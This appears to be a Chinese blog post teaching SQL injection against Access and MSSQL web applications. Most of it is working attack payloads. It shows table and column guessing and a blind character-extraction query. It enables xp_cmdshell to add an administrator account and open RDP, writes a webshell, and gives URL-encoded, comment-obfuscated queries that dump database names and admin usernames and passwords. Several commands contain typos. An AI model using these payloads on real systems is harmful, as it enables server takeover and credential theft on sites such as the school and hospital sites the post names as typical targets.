access和msslq数据库注入

本文详细介绍了Access和MSSQL数据库的SQL注入攻击,包括如何猜表名、字段和内容。针对Access,讲解了利用and exists进行探测的方法;在MSSQL部分,讨论了order by和union select查询的高级技巧,以及不同权限下的攻击利用,如sa、dbowner和public权限的攻击流程。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

一、access数据库

1.access只有个一个当前库,要直接拆解数据库的表名。

2.如何去判断对方的网站是什么数据库?

通过点击网页页面的连接,查看地址栏内是否有带参数的地址,然后进行单引号测试,如果存在注入口,就会报错,报错内容里面有 OLE DB ODBC 字样的报错,就可以判断是access数据。

access适合搭建小型网站,比如学校、医院的网站数据库。

MYSQL数据报错内容会有mysql字样。

3.猜表名:

通过单引号找到注入口后,access只能使用and exists(select * from users)来判断表名。如果没有users表,网页会出现错误。如果存在这个表名页面会正常显示。可以使用明小子。

4.猜数据表里的字段:

在地址栏内输入:and exists(select password from administrator)

5.猜字段内容:

猜长度

and (select top 1 len(user_name) from administrator)>1

猜字母

and (select top 1 asc(user_name,1,1) from administrator)>0

如果大于0说明是字母,如果小于0说明是汉字,找出来asc码后利用转换工具进行转换,比如vstar里面的小葵。

二、mssql数据库

6.sql注入中的高级查询--order by 和 union select 查询

order by可以查询出字段的个数,结合union select 找到用户名和密码

亦可以通过工具进行破解:vstar里面的pangolin

7.sqlserve分为三个权限:sa  dbowner  pubulic

在开始菜单里可以打开图形化sql数据库,可以看出我们都打开了sa权限。

只有在sa权限下才能使用xp_cmdshell(操作命令行)扩展程序。

sa权限:通过sql注入点控制服务器的流程:

第一步检查是否是mssql数据库:

and exists(select * from 20% sysobjects)

第二部查询当前数据库系统的用户名:and system_user=0

第三步 检查注入点是否是sa权限 :and 1=(select IS_SRVROLEMEMBER('sysadmin'))

第四步:判断一下xp_cmdshell存储过程是否存在:

and 1=(Select count(*) FROM master. dbo.sysobjects  Where xtype ='X' AND name = 'xp_cmdshell') 

恢复xshell可用:EXEC sp_configure ’show advanced options’, 1;RECONFIGURE;EXEC sp_configure ’xp_cmdshell’, 1;RECONFIGURE;--     在微软sqlserve数据库这条命令都可以执行

第五步:添加账户: nte user查看有哪些账户

;exec master..xp_cmdshell 'net user test/add'

;exec master..xp_cmdshell 'net locaigroup administrators test/add'

第六步:开3389

dbowner权限下的扩展攻击利用:

第一步:查看当前网站是否为db_owner权限

and 1=(SELECT IS_MEMBER('db_owner'));--        判断当前数据库用户是否为db_owner权限

第二步:找出网站路径,不能直接执行操作系统命令行

1、通过报 错或baidu、google等查找;

2、通过相关语句:

drop table black;create Table black(result varchar(7996) null, id int not null identity 

insert into black exec master..xp_cmdshell 'dir /s c:\1.aspx'--

and (select result from black where id=1)>0--

第三步:写入一句话木马获取webshell

pubulic权限:可以获取数据库的数据,虽说是最差劲的权限但是是可以脱库的。

1.获取当前数据库名称:and db_name()=0

可以获取到数据库名  testdb

2.获取mssql所有数据库名和路径:

%20and%200=(select%20top%201%20cast([name]%20as%20nvarchar(256))%2bchar(94)%2bcast([filename]%20as%20nvarchar(256))%20from%20(select%20top%202%20dbid,name,filename%20from%20[master].[dbo].[sysdatabases]%20order%20by%20[dbid])%20t%20order%20by%20[dbid]%20desc)--

3.获取当前数据库所有表名:

and 0<>(select top 1 name from testdb.dbo.sysobjects where xtype=0x7500 and name not in (select top 2 name from testdb.dbo.sysobjects where xtype=0x7500))--

4.爆表名和字段名:http://192.168.16.105:82/sqlserver/1.aspx?xxser=1 having 1=1

可以得到admin.id  表名.字段名

http://192.168.16.105:82/sqlserver/1.aspx?xxser=1 group by admin.id having 1=1

可以获取到admin.name 表名.字段名

http://192.168.16.105:82/sqlserver/1.aspx?xxser=1 group by admin.id,admin.name having 1=1

可以获取到admin.password 表名.字段名

5.获取字段内容:可以获取到用户名和密码

/**/and/**/(select/**/top/**/1/**/isnull(cast([id]/**/as/**/nvarchar(4000)),char(32))%2bchar(94)%2bisnull(cast([name]/**/as/**/nvarchar(4000)),char(32))%2bchar(94)%2bisnull(cast([password]/**/as/**/nvarchar(4000)),char(32))/**/from/**/[testdb]..[admin]/**/where/**/1=1/**/and/**/id/**/not/**/in/**/(select/**/top/**/0/**/id/**/from/**/[testdb]..[admin]/**/where/**/1=1/**/group/**/by/**/id))%3E0/**/and/**/1=1

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

dhl383561030

您的鼓励是我前进的动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值